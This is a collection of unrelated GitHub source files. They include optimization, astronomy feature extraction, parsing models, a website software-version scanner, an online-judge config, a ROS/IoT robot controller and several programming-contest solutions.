list(EXPR.identify_variables(expr))\n pyomo_vars = sorted(pyomo_vars, key=lambda x: str(x))\n sympy_vars = [sympy.var('x%s'% i) for i in range(len(pyomo_vars))]\n sympy2pyomo = dict( zip(sympy_vars, pyomo_vars) )\n pyomo2sympy = dict( (id(pyomo_vars[i]), sympy_vars[i])\n for i in range(len(pyomo_vars)) )\n #\n # Process WRT information\n #\n ans = []\n for i, target in enumerate(wrt_list):\n if target.__class__ is not tuple:\n wrt_list[i] = target = (target,)\n mismatch_target = False\n for var in target:\n if id(var) not in pyomo2sympy:\n mismatch_target = True\n break\n wrt_list[i] = tuple( pyomo2sympy.get(id(var),None) for var in target )\n ans.append(0 if mismatch_target else None)\n #\n # If there is nothing to do, do nothing\n #\n if all(i is not None for i in ans):\n return ans if wrt is None else ans[0]\n #\n # Create sympy expression\n #\n sympy_expr = sympify_expression(expr, sympy2pyomo, pyomo2sympy)\n #\n # Differentiate for each WRT variable, and map the\n # result back into a Pyomo expression tree.\n #\n for i, target in enumerate(wrt_list):\n if ans[i] is None:\n sympy_ans = sympy_expr.diff(*target)\n ans[i] = _map_sympy2pyomo(sympy_ans, sympy2pyomo)\n #\n # Return the answer\n #\n return ans if wrt is None else ans[0]\n\n\n# =====================================================\n# sympify_expression\n# =====================================================\n\nclass SympifyVisitor(EXPR.ExpressionValueVisitor):\n\n def __init__(self, native_or_sympy_types, pyomo2sympy):\n self.native_or_sympy_types = native_or_sympy_types\n self.pyomo2sympy = pyomo2sympy\n\n def visit(self, node, values):\n if node.__class__ is EXPR.UnaryFunctionExpression:\n return _functionMap[node._name](values[0])\n else:\n return node._apply_operation(values)\n\n def visiting_potential_leaf(self, node):\n #\n # Don't replace native or sympy types\n #\n if type(node) in self.native_or_sympy_types:\n return True, node\n #\n # Replace pyomo variables with sympy variables\n #\n if id(node) in self.pyomo2sympy:\n return True, self.pyomo2sympy[id(node)]\n #\n # Replace constants\n #\n if not node.is_potentially_variable():\n return True, value(node)\n #\n # Don't replace anything else\n #\n return False, None\n\n def finalize(self, ans):\n return ans\n\ndef sympify_expression(expr, sympySymbols, pyomo2sympy):\n #\n # Handle simple cases\n #\n if expr.__class__ in native_types:\n return expr\n if not expr.is_expression_type():\n if id(expr) in pyomo2sympy:\n return pyomo2sympy[id(expr)]\n return expr\n #\n # Create the visitor and call it.\n #\n native_or_sympy_types = set(native_types)\n native_or_sympy_types.add( type(list(sympySymbols)[0]) )\n visitor = SympifyVisitor(native_or_sympy_types, pyomo2sympy)\n return visitor.dfs_postorder_stack(expr)\n\n\n# =====================================================\n# _map_sympy2pyomo\n# =====================================================\n\nclass Sympy2PyomoVisitor(pyutilib.misc.ValueVisitor):\n\n def __init__(self, sympy2pyomo):\n self.sympy2pyomo = sympy2pyomo\n\n def visit(self, node, values):\n \"\"\" Visit nodes that have been expanded \"\"\"\n _sympyOp = node\n _op = _operatorMap.get( type(_sympyOp), None )\n if _op is None:\n raise DeveloperError(\n \"sympy expression type '%s' not found in the operator \"\n \"map\" % type(_sympyOp) )\n return _op(*tuple(values))\n\n def visiting_potential_leaf(self, node):\n \"\"\"\n Visiting a potential leaf.\n\n Return True if the node is not expanded.\n \"\"\"\n if not node._args:\n if node in self.sympy2pyomo:\n return True, self.sympy2pyomo[node]\n else:\n return True, float(node.evalf())\n return False, None\n\n def children(self, node):\n return list(node._args)\n\n def finalize(self, ans):\n return ans\n\ndef _map_sympy2pyomo(expr, sympy2pyomo):\n if not expr._args:\n if expr in sympy2pyomo:\n return sympy2pyomo[expr]\n else:\n return float(expr.evalf())\n visitor = Sympy2PyomoVisitor(sympy2pyomo)\n return visitor.dfs_postorder_stack(expr)\n","repo_name":"rowhit/pyomo","sub_path":"pyomo/core/base/symbolic.py","file_name":"symbolic.py","file_ext":"py","file_size_in_byte":8119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"29487565400","text":"from typing import Tuple\nfrom functools import lru_cache\nimport logging\nimport numpy as np\nimport pandas as pd\n\nfrom ..core.base import FeatureExtractorSingleBand\nfrom ..extractors import PeriodExtractor\n\n\nclass FoldedKimExtractor(FeatureExtractorSingleBand):\n \"\"\"https://github.com/dwkim78/upsilon/blob/\n 64b2b7f6e3b3991a281182549959aabd385a6f28/\n upsilon/extract_features/extract_features.py#L151\"\"\"\n\n @lru_cache(1)\n def get_features_keys_without_band(self) -> Tuple[str, ...]:\n return 'Psi_CS', 'Psi_eta'\n\n @lru_cache(1)\n def get_required_keys(self) -> Tuple[str, ...]:\n return 'time', 'magnitude'\n\n def compute_feature_in_one_band(self, detections, band, **kwargs):\n grouped_detections = detections.groupby(level=0)\n return self.compute_feature_in_one_band_from_group(grouped_detections, band, **kwargs)\n \n def compute_feature_in_one_band_from_group(\n self, detections, band, **kwargs) -> pd.DataFrame:\n \n if ('shared_data' in kwargs.keys() and\n 'period' in kwargs['shared_data'].keys()):\n periods = kwargs['shared_data']['period']\n else:\n raise Exception('Folded Kim extractor was not provided '\n 'with period data')\n\n columns = self.get_features_keys_with_band(band)\n\n def aux_function(oid_detections, band, **kwargs):\n oid = oid_detections.index.values[0]\n if band not in oid_detections['band'].values:\n logging.debug(\n f'extractor=Folded Kim extractor object={oid} '\n f'required_cols={self.get_required_keys()} band={band}')\n return self.nan_series_in_band(band)\n\n try:\n oid_period = periods[['Multiband_period']].loc[[oid]].values.flatten()\n except KeyError as e:\n logging.error(f'KeyError in FoldedKimExtractor, period is not '\n f'available: oid {oid}\\n{e}')\n return self.nan_series_in_band(band)\n\n oid_band_detections = oid_detections[oid_detections['band'] == band]\n lc_len = len(oid_band_detections)\n if lc_len <= 2:\n psi_cumsum = psi_eta = np.nan\n else:\n time = oid_band_detections['time'].values\n magnitude = oid_band_detections['magnitude'].values\n\n folded_time = np.mod(time, 2 * oid_period) / (2 * oid_period)\n sorted_mags = magnitude[np.argsort(folded_time)]\n sigma = np.std(sorted_mags)\n if sigma != 0.0:\n m = np.mean(sorted_mags)\n s = np.cumsum(sorted_mags - m) * 1.0 / (lc_len * sigma)\n psi_cumsum = np.max(s) - np.min(s)\n sigma_squared = sigma ** 2\n psi_eta = (1.0 / ((lc_len - 1) * sigma_squared) *\n np.sum(np.power(sorted_mags[1:] - sorted_mags[:-1], 2)))\n else:\n psi_cumsum = psi_eta = np.nan\n\n out = pd.Series(\n data=[psi_cumsum, psi_eta],\n index=columns)\n return out\n \n features = detections.apply(lambda det: aux_function(det, band))\n features.index.name = 'oid'\n return features\n","repo_name":"alercebroker/lc_classifier","sub_path":"lc_classifier/features/extractors/folded_kim_extractor.py","file_name":"folded_kim_extractor.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"920107203","text":"\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**9)\n\nq, h, s, d = map(int, input().rstrip().split())\nn = int(input())\n\nlit1 = min(q*4, h*2, s)\nlit2 = d\n\nans = 0\n\nif lit1*2 < lit2:\n ans += (n // 2) * lit1 * 2\nelse:\n ans += (n // 2) * lit2\n\nn %= 2\n\nif n:\n ans += lit1\n\nprint(int(ans))\n","repo_name":"Eggngineer/atcoder","sub_path":"AGCs/AGC019/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39462292705","text":"from itertools import product, permutations\n\nfrom partitions import Partition\n\n\ndef get_circle_results(n, tables):\n results = list()\n results.append((Partition([n]), Partition([0]), [Partition([n])]))\n results.append((Partition([1]*n), Partition([0]), [Partition([1]*n)]))\n table = tables[n]\n for k1, k2 in [(n-x, x) for x in range(1, n // 2 + 1)]:\n table1 = tables[k1]\n table2 = tables[k2]\n for mu1, mu2 in product(table1.partitions, table2.partitions):\n result = []\n for nu in table.partitions:\n coefficients = []\n for a1, a2 in product(table1.partitions, table2.partitions):\n partition_union = a1.union(a2)\n value1 = table1.inverse_kostka(a1, mu1)\n value2 = table2.inverse_kostka(a2, mu2)\n value3 = table.kostka(nu, partition_union)\n value = value1 * value2 * value3\n coefficients.append(value)\n coefficients_sum = sum(coefficients)\n result.append(coefficients_sum)\n summands = []\n for i in range(len(table.partitions)):\n for _ in range(result[i]):\n summands.append(table.partitions[i].conjugate())\n results.append((mu1.conjugate(), mu2.conjugate(), summands))\n return results\n\n\ndef difference(lists):\n result = {}\n list_union = []\n for l in lists:\n list_union.extend(l)\n for coefficients in product([1, -1], repeat=len(lists)):\n result[coefficients] = []\n for x in set(list_union):\n coefficient = sum([lists[i].count(x) * coefficients[i] for i in range(len(lists))])\n if coefficient != 0:\n result[coefficients].append((coefficient, x))\n return result\n\n\ndef get_difference_data(results, max_decomposition_length):\n data = {}\n exhausted_answers = []\n for decomposition_parts in range(1, max_decomposition_length + 1):\n for lines in permutations(results, r=decomposition_parts):\n a = difference([x[2] for x in lines])\n for coefficients in a:\n if len(a[coefficients]) == 1 and a[coefficients][0][0] == 1:\n character_partition = a[coefficients][0][1]\n answer_data = set((coefficients[i], lines[i][:2]) for i in range(len(lines)) if coefficients[i] != 0)\n if answer_data in exhausted_answers:\n continue\n exhausted_answers.append(\n answer_data\n )\n if character_partition not in data:\n data[character_partition] = []\n data[character_partition].append(answer_data)\n return data\n\n\ndef print_difference_data(difference_data):\n for character_partition in difference_data:\n for decomposition in difference_data[character_partition]:\n sorted_decomposition = sorted(decomposition, key=lambda x: x[1][1].n())\n answer = \"%s = \" % (character_partition,)\n s = 0\n for coefficient, x in sorted_decomposition:\n s += abs(coefficient)\n if coefficient == 1:\n answer += \"+%s\" % str(x)\n elif coefficient == -1:\n answer += \"-%s\" % str(x)\n print(answer)\n\n\ndef print_difference_data_length_bound(difference_data):\n for character_partition in difference_data:\n for decomposition in difference_data[character_partition]:\n sorted_decomposition = sorted(decomposition, key=lambda x: x[1][1].n())\n answer = \"%s\" % (character_partition,)\n answer += \" = \"\n if len(sorted_decomposition) > min(len(character_partition), len(character_partition.conjugate())):\n continue\n s = 0\n for coefficient, x in sorted_decomposition:\n s += abs(coefficient)\n if coefficient == 1:\n answer += \"+%s\" % str(x)\n elif coefficient == -1:\n answer += \"-%s\" % str(x)\n print(answer)\n","repo_name":"zivg2/ThesisSimulations","sub_path":"circle_sum_decompositions.py","file_name":"circle_sum_decompositions.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27283713049","text":"import logging\nimport os\nfrom concurrent.futures import ProcessPoolExecutor\nfrom hashlib import sha1\nfrom traceback import format_exc, print_exc\nfrom typing import List, Union\n\nfrom analysis.website_analyzer import WebsiteAnalyzer\nfrom backends.postgresql import PostgresqlBackend\nfrom base.output import colors, print_info\nfrom base.utils import clean_path_name\nfrom scanning import majestic_million\nfrom settings import BACKEND\n\n\nclass Scanner:\n \"\"\"\n The scanner handles the automated scanning of multiple (many)\n sites.\n \"\"\"\n concurrent = 80\n # scan_identifier: str\n persist_resources = None\n\n def __init__(self, scan_identifier: str):\n self.scan_identifier = scan_identifier\n\n def scan_sites(self, count: int, urls: Union[List[str], None] = None, skip: int = 0):\n \"\"\"Scan first count sites of majestic top million.\"\"\"\n # majestic million is 1-indexed\n start = skip + 1\n end = count + skip + 1\n if urls is None:\n sites = majestic_million.get_sites(start, end)\n else:\n # use provided urls instead of majestic domains\n sites = urls[skip:skip + count]\n futures = []\n assert isinstance(\n BACKEND, PostgresqlBackend), 'postgresql backend required for scanning'\n BACKEND.initialize_scan_results(self.scan_identifier)\n with ProcessPoolExecutor(max_workers=self.concurrent) as executor:\n index = start\n for site in sites:\n url = site\n if isinstance(site, majestic_million.MajesticMillionSite):\n url = 'http://{}'.format(site.domain)\n futures.append(executor.submit(\n self._monitor_scan_site, url, index))\n index += 1\n for future in futures:\n # access result to get exceptions etc\n future.result()\n\n def scan_site(self, url: str, index: int):\n \"\"\"Scan a single site.\"\"\"\n BACKEND.reopen_connection()\n\n result = BACKEND.retrieve_scan_result(url, self.scan_identifier)\n if result is not None:\n print_info(\n colors.YELLOW,\n '({:10d}) SKIPPING'.format(index),\n url)\n return\n print_info(\n colors.PURPLE,\n '({:10d}) SCANNING'.format(index),\n url)\n analyzer = WebsiteAnalyzer(\n primary_url=url)\n\n if self.persist_resources:\n cleaned_url = clean_path_name(url)\n hashed_url = sha1(cleaned_url.encode()).hexdigest()\n\n analyzer.persist_resources = os.path.join(\n self.persist_resources,\n self.scan_identifier,\n hashed_url[:2],\n hashed_url[2:4],\n cleaned_url)\n\n result = analyzer.analyze()\n if not result:\n result = False\n more_recent = None\n if result:\n more_recent = analyzer.more_recent_version(\n guess.software_version for guess in result)\n BACKEND.store_scan_result(url, {\n 'result': result,\n 'more_recent': more_recent,\n }, self.scan_identifier)\n print_info(\n colors.GREEN,\n 'COMPLETED',\n url)\n\n def _monitor_scan_site(self, *args, **kwargs):\n \"\"\"\n Execute the scan_site method and catch and print all exceptions.\n \"\"\"\n try:\n self.scan_site(*args, **kwargs)\n except Exception:\n print('failure for', args, kwargs)\n print_exc()\n logging.error(format_exc())\n","repo_name":"wichmannpas/VersionInferrer","sub_path":"scanning/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"3004399817","text":"# ### keeps getting error end of file\n# while True:\n\n# ### map to split the input to compare\n# a,b = map(int,input().split())\n\n# # ## compare what is bigger or smaller or equal\n# # ### if statments to compare\n# if a > b:\n# print(\">\")\n# elif a < b:\n# print(\"<\")\n# else:\n# print(\"=\")\n\n# t -= 1;\n\n\n\n\n\nimport sys\n# ### to input files via terminal\n\n#resource to fix it\n#https://www.educba.com/python-eoferror/\n#https://stackoverflow.com/questions/42891603/how-to-remove-eoferror-eof-when-reading-a-line\nt = int(input())\n\nwhile True:\n try:\n ### map to split the input to compare\n a,b = map(int,input().split())\n\n # ## compare what is bigger or smaller or equal\n # ### if statments to compare\n if a > b:\n print(\">\")\n elif a < b:\n print(\"<\")\n else:\n print(\"=\")\n\n t -= 1;\n except:\n break\n","repo_name":"ezapez/4883-ProgTech-Zapata","sub_path":"Assigments/A04/11172-relational-operator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32794950163","text":"from typing import Optional\nfrom pydantic import BaseModel, Field\n\n\nclass StatsSchema(BaseModel):\n sportshares: int = Field(None)\n freebet: int = Field(None)\n comboboost: int = Field(None)\n\n\nclass TraitsSchema(BaseModel):\n sport: str = Field(None)\n background: str = Field(None)\n body: str = Field(None)\n eyes: str = Field(None)\n teeth: str = Field(None)\n\n\nclass SportbotSchema(BaseModel):\n name: str\n number: int\n image_url: str\n revealed: bool\n stats: Optional[StatsSchema] = None\n traits: Optional[TraitsSchema] = None\n\n class Config:\n schema_extra = {\n \"example\": {\n \"name\": \"Sportbot#28\",\n \"number\": 28,\n \"image_url\": \"https://somerandomurl.2523525\",\n \"revealed\": True,\n \"stats\": {\"sportshares\": 10, \"freebet\": 28, \"comboboost\": 103},\n \"traits\": {\"sport\": \"Boxing\", \"background\": \"purple\", \"body\": \"gold\", \"eyes\": \"rusty-eyes\", \"teeth\": \"rusty-mouth\"}\n }\n }\n\n\nclass UpdateSportBotSchema(BaseModel):\n name: Optional[str]\n number: Optional[int]\n image_url: Optional[str]\n revealed: Optional[bool]\n stats: Optional[StatsSchema]\n traits: Optional[TraitsSchema]","repo_name":"69Kadsen/BackendProject","sub_path":"my_app/api/schemas/sportbots.py","file_name":"sportbots.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12302968638","text":"import torch\nimport torch.nn as nn\nfrom parser.modules.res import ResLayer\nfrom ..pcfgs.lpcfg import L_PCFG\nfrom ..pcfgs.eisner_satta import EisnerSatta\n'''\nhttps://github.com/neulab/neural-lpcfg/blob/master/models.py\nwithout compound parameterization\nin order to investigate the effect of bilexicalized dependencies.\n'''\nclass NeuralLPCFG(nn.Module):\n def __init__(self, args, dataset):\n super(NeuralLPCFG, self).__init__()\n self.pcfg = L_PCFG()\n self.device = dataset.device\n self.args = args\n # number of states\n self.NT = args.NT\n self.T = args.T\n self.V = len(dataset.word_vocab)\n self.NT_T = self.NT + self.T\n\n # embedding dimensions\n self.s_dim = args.s_dim\n\n # embeddings\n self.term_emb = nn.Parameter(torch.randn(self.T, self.s_dim))\n self.nonterm_emb = nn.Parameter(torch.randn(self.NT, self.s_dim))\n self.nonterm_emission_emb = nn.Parameter(torch.randn(self.NT, self.s_dim))\n self.root_emb = nn.Parameter(torch.randn(1, self.s_dim))\n self.word_emb = nn.Embedding(self.V, self.s_dim)\n\n self.head_mlp = nn.Sequential(nn.Linear(self.s_dim + self.s_dim, self.s_dim),\n ResLayer(self.s_dim, self.s_dim),\n nn.Linear(self.s_dim, 2*self.NT_T))\n\n self.left_rule_mlp = nn.Linear(self.s_dim + self.s_dim, (self.NT_T) ** 2)\n self.right_rule_mlp = nn.Linear(self.s_dim + self.s_dim, (self.NT_T) ** 2)\n\n # root rule.\n self.root_mlp = nn.Sequential(nn.Linear(self.s_dim, self.s_dim),\n ResLayer(self.s_dim, self.s_dim),\n ResLayer(self.s_dim, self.s_dim),\n nn.Linear(self.s_dim, self.NT))\n\n # unary rule\n self.term_mlp = nn.Sequential(nn.Linear(self.s_dim, self.s_dim),\n ResLayer(self.s_dim, self.s_dim),\n ResLayer(self.s_dim, self.s_dim),\n nn.Linear(self.s_dim, self.V))\n self._initialize()\n\n def _initialize(self):\n for p in self.parameters():\n if p.dim() > 1:\n torch.nn.init.xavier_uniform_(p)\n\n\n\n\n def forward(self, input, eval_dep=False, **kwargs):\n x = input['word']\n b, n = x.shape[:2]\n\n def roots():\n root_emb = self.root_emb\n roots = self.root_mlp(root_emb).log_softmax(-1)\n return roots.expand(b, self.NT)\n\n def terms():\n term_emb = self.term_emb\n term_prob = self.term_mlp(torch.cat([self.nonterm_emission_emb,term_emb], dim=0)).log_softmax(-1)\n indices = x.unsqueeze(2).expand(b, n, self.NT + self.T).unsqueeze(3)\n term_prob = torch.gather(term_prob.unsqueeze(0).unsqueeze(0).expand(b, n, *term_prob.shape),\n 3, indices).squeeze(3)\n return term_prob\n\n def rules():\n x_emb = self.word_emb(x)\n nt_emb = self.nonterm_emb.unsqueeze(0).expand(b, -1, -1)\n nt_x_emb = torch.cat([x_emb.unsqueeze(2).expand(-1, -1, self.NT, -1),\n nt_emb.unsqueeze(1).expand(-1, n, -1, -1)], dim=3\n )\n left_rule_score = self.left_rule_mlp(nt_x_emb) # nt x t**2\n right_rule_score = self.right_rule_mlp(nt_x_emb) # nt x t**2\n left_rule_scores = left_rule_score.reshape(b, n, self.NT, self.NT_T, self.NT_T)\n right_rule_scores = right_rule_score.reshape(b, n, self.NT, self.NT_T, self.NT_T)\n head_score = self.head_mlp(nt_x_emb).log_softmax(-1) # nt x t**2\n head_scores = head_score.reshape(b, n, self.NT, self.NT_T, 2)\n left_scores = left_rule_scores.log_softmax(dim=-1)\n right_scores = right_rule_scores.log_softmax(dim=-2)\n rule_scores = torch.stack([head_scores[:, :, :, :, 0].unsqueeze(4) + left_scores,\n head_scores[:, :, :, :, 1].unsqueeze(3) + right_scores], dim=1)\n return rule_scores\n\n root, unary, rule = roots(), terms(), rules()\n\n\n if eval_dep:\n left = torch.einsum(\"qnabc, qmc -> qmnabc\", rule[:, 0].exp(), unary.exp()).add_(1e-20).log()\n right = torch.einsum(\"qnabc, qmb -> qmnabc\", rule[:, 1].exp(), unary.exp()).add_(1e-20).log()\n\n rule = left.mul_(\n torch.tril(torch.ones(n, n, device=torch.device(\"cuda\")), diagonal=-1).unsqueeze(0).unsqueeze(\n -1).unsqueeze(-1).unsqueeze(-1).expand(*left.shape)) \\\n + right.mul_(\n torch.triu(torch.ones(n, n, device=torch.device(\"cuda\")), diagonal=1).unsqueeze(0).unsqueeze(\n -1).unsqueeze(-1).unsqueeze(-1).expand(*right.shape))\n return {\n 'rule': rule,\n 'root': root.unsqueeze(1).expand(b, n, self.NT)\n }\n\n else:\n return {'unary': unary,\n 'root': root,\n 'rule': rule,\n 'kl': torch.tensor(0)}\n\n def loss(self, input):\n rules = self.forward(input)\n result = self.pcfg.loss(rules, input['seq_len'])\n return -result['partition'].mean()\n\n def evaluate(self, input, decode_type='mbr', eval_dep=False):\n if decode_type == 'mbr':\n rules = self.forward(input)\n return self.pcfg.decode(rules, input['seq_len'], mbr=True, eval_dep=eval_dep)\n\n else:\n rules = self.forward(input, eval_dep=True)\n result = EisnerSatta.viterbi_decoding(rule=rules['rule'], root=rules['root'],lens=input['seq_len'])\n rules = self.forward(input)\n logZ = self.pcfg.loss(rules, input['seq_len'])\n result.update(logZ)\n return result\n\n\n\n","repo_name":"sustcsonglin/TN-PCFG","sub_path":"parser/model/NL_PCFG.py","file_name":"NL_PCFG.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"32"} +{"seq_id":"7105579108","text":"\nlang_config={\n 'JAVA8':{\n 'exe_path':'/usr/bin/java',\n 'max_memory':-1,\n 'source_name':'Main.java',\n 'complication':True,\n 'compile_command':'javac {exe_path}/Main.java',\n 'run':{\n 'args':'-cp {exe_path} -Xss1M -XX:MetaspaceSize=64m -XX:MaxMetaspaceSize=128m -Xms128M -Xmx{max_memory}M Main',\n 'seccomp_rule':None,\n }\n },\n 'PYTHON35':{\n 'exe_path':'/usr/bin/python3.5',\n 'source_name':'Main.py',\n 'complication': False,\n 'compile_command': None,\n 'run':{\n 'args':'{exe_path}/Main.py',\n 'seccomp_rule': 'general',\n }\n },\n 'C':{\n 'exe_path':'{exe_path}/Main',\n 'source_name':'Main.c',\n 'complication':True,\n 'compile_command':'gcc {exe_path}/Main.c -o {exe_path}/Main',\n 'run':{\n 'args':'',\n 'seccomp_rule':'c_cpp',\n }\n },\n 'CPP':{\n 'exe_path': '{exe_path}/Main',\n 'source_name': 'Main.cpp',\n 'complication': True,\n 'compile_command': 'g++ {exe_path}/Main.cpp -o {exe_path}/Main',\n 'run': {\n 'args': '',\n 'seccomp_rule': 'c_cpp',\n }\n },\n 'PYTHON27':{\n 'exe_path':'/usr/bin/python2.7',\n 'source_name':'Main.py',\n 'complication': False,\n 'compile_command':None,\n 'run':{\n 'args':'{exe_path}/Main.py',\n 'seccomp_rule': 'general',\n }\n }\n}\n\nsys_config = {\n #日志文件所在路径\n 'logfile':'/usr/eagle-oj-judger/Judger/judge.log',\n #提交的代码和测试用例存储的位置\n 'outfile': '/usr/JudgeResult',\n #是否删除每次所产生的文件\n 'removefile':True,\n #model包的路径\n 'model':'/usr/eagle-oj-judger/Judger/model',\n #server包的路径\n 'server':'/usr/eagle-oj-judger/Judger/server',\n #指定运行系统的uid和gid,为了保证系统的安全运行请务必创建新用户\n 'uid':1001,\n 'gid':1001\n}\n","repo_name":"Eagle-OJ/eagle-oj-judger","sub_path":"Judger/server/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"32"} +{"seq_id":"42636802052","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nf = open('train_data.txt','r')\nx= []\ny = []\nfor line in f :\n x_temp,y_temp = line.split(' ')\n x.append(x_temp)\n y.append(y_temp)\nx = np.asarray(x).astype(np.float)\ny = np.asarray(y).astype((np.float))\n\nx_mean = np.sum(x)/len(x)\ny_mean = np.sum(y)/len(y)\n\nw = np.sum((x-x_mean)*(y-y_mean))/np.sum(np.power((x-x_mean),2))\nb = y_mean - w*x_mean\n\n#MSE\ny_pred = np.asarray([(w*i+b) for i in x])\nmse = np.sum(np.power((y-y_pred),2))/len(x)\nprint(f'Mean Square Error : {mse}')\n\n#Plot the Graph\nx_line = np.linspace(-1,1,100)\ny_line = np.asarray([(w*i+b) for i in x_line])\n\nplt.plot(x_line,y_line,label='y=wx+b',color='r')\nplt.scatter(x,y,label='Data')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Problem 3b')\nplt.legend()\nplt.show()\n\n","repo_name":"DhavalParmar61/Machine-Learning","sub_path":"Assignment 1/Code/Q3/Problem3b.py","file_name":"Problem3b.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14619260304","text":"import sys\n\nfrom setuptools import setup\n\n\n# Required packages. argparse was introduced into the standard library in\n# Python 2.7; mock was introduced in Python 3.3. The tests use features from\n# unittest that first appeared in 2.7.\nrequired_packages = [\"six\"]\nif sys.version_info < (2, 7):\n required_packages.append(\"argparse\")\n required_packages.append(\"unittest2\")\nif sys.version_info < (3, 3):\n required_packages.append(\"mock\")\n\n\nsetup(\n name='repeat',\n version='0.1.0',\n author=\"Mark Dickinson\",\n author_email=\"dickinsm@gmail.com\",\n url=\"https://github.com/mdickinson/repeat\",\n license=\"Apache license\",\n description=(\n \"Repeat a command indefinitely or for a fixed number of iterations\"),\n py_modules=['repeat'],\n platforms=[\"Windows\", \"Linux\", \"Mac OS-X\", \"Unix\", \"Solaris\"],\n entry_points={\n 'console_scripts': [\n 'repeat = repeat:main',\n ],\n },\n install_requires=required_packages,\n)\n","repo_name":"mdickinson/repeat","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"17763509839","text":"from pyramid.config import Configurator\n\n# from .serv import main\n\ndef main(global_config, **settings):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n with Configurator(settings=settings) as config:\n config.include('pyramid_chameleon')\n config.include('.serv.routes')\n config.include('cornice')\n config.scan()\n return config.make_wsgi_app()\n","repo_name":"stud-labs/student-group","sub_path":"src/studentgroup/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21401522334","text":"from django.urls import include, path\nfrom products.views import (CreateProductView, ProductsListViewSuperUser,\n ProductsDeleteView, ProductsUpdateView,\n TowerDryerListView, PackageListView,\n RadiatorListView, WaterHeaterListView)\n\napp_name ='products'\nurlpatterns = [\n path('create/', CreateProductView, name='create'),\n path('list-superuser/', ProductsListViewSuperUser, name='listsuperuser'),\n path('delete//', ProductsDeleteView, name='delete'),\n path('update//', ProductsUpdateView, name='update'),\n path('towerdryer-list/', TowerDryerListView, name='towerdryerlist'),\n path('package-list/', PackageListView, name='packagelist'),\n path('radiator-list/', RadiatorListView, name='radiatorlist'),\n path('waterheater-list/', WaterHeaterListView, name='waterheaterlist'),\n\n]\n","repo_name":"alienone304/sholehkhiz","sub_path":"products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17925310648","text":"#!/usr/bin/env python3\nimport rospy\nimport wiotp.sdk.device\nimport time\nimport random\nfrom sensor_msgs.msg import LaserScan\nfrom geometry_msgs.msg import Twist\n\npub = None\n\nmyConfig = { \n \"identity\": {\n \"orgId\": \"gagtey\",\n \"typeId\": \"New\",\n \"deviceId\":\"12345\"\n },\n \"auth\": {\n \"token\": \"12345678\"\n }\n}\n\ndef myCommandCallback(cmd):\n print(\"Message received from IBM IoT Platform: %s\" % cmd.data['command'])\n m=cmd.data['command']\n take_action(m)\n\nclient = wiotp.sdk.device.DeviceClient(config=myConfig, logHandlers=None)\nclient.connect()\n\ndef take_action(regions):\n msg = Twist()\n linear_x = 0\n angular_z = 0\n \n state_description = ''\n \n if regions == \"forward\":\n state_description = 'case 1 - Moving Forward'\n linear_x = 0.6\n angular_z = 0\n elif regions == \"stop\":\n state_description = 'case 2 - Stopping...'\n linear_x = 0\n angular_z = 0.0\n elif regions == \"left\":\n state_description = 'case 3 - Turning Left'\n linear_x = 0\n angular_z = 0.6\n elif regions == \"right\":\n state_description = 'case 4 - Turning Right'\n linear_x = 0\n angular_z = -0.6\n elif regions == \"backward\":\n state_description = 'case 5 - Moving Backward'\n linear_x = -0.6\n angular_z = 0.0\n else:\n state_description = 'unknown case'\n rospy.loginfo(regions)\n\n rospy.loginfo(state_description)\n msg.linear.x = linear_x\n msg.angular.z = angular_z\n pub.publish(msg)\n\ndef main():\n global pub\n \n rospy.init_node('voice_Control')\n \n pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)\n \n #sub = rospy.Subscriber('/mybot/laser/scan', LaserScan, clbk_laser)\n\n client.commandCallback = myCommandCallback\n\n rospy.spin()\n\nif __name__ == '__main__':\n main()\n\nclient.disconnect()\n\n \n","repo_name":"gnaneshwarbandari/Voice_Control_Robot","sub_path":"iotex.py","file_name":"iotex.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30756529953","text":"class Solution:\n def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]:\n rear, front = 0, -1\n q = collections.deque()\n res = []\n l = 0\n\n for r, num in enumerate(nums):\n while q and nums[q[front]] <= nums[r]:\n q.pop()\n q.append(r)\n\n if r-l+1 == k:\n res.append(nums[q[rear]])\n\n if q[rear] == l:\n q.popleft()\n l += 1\n\n return 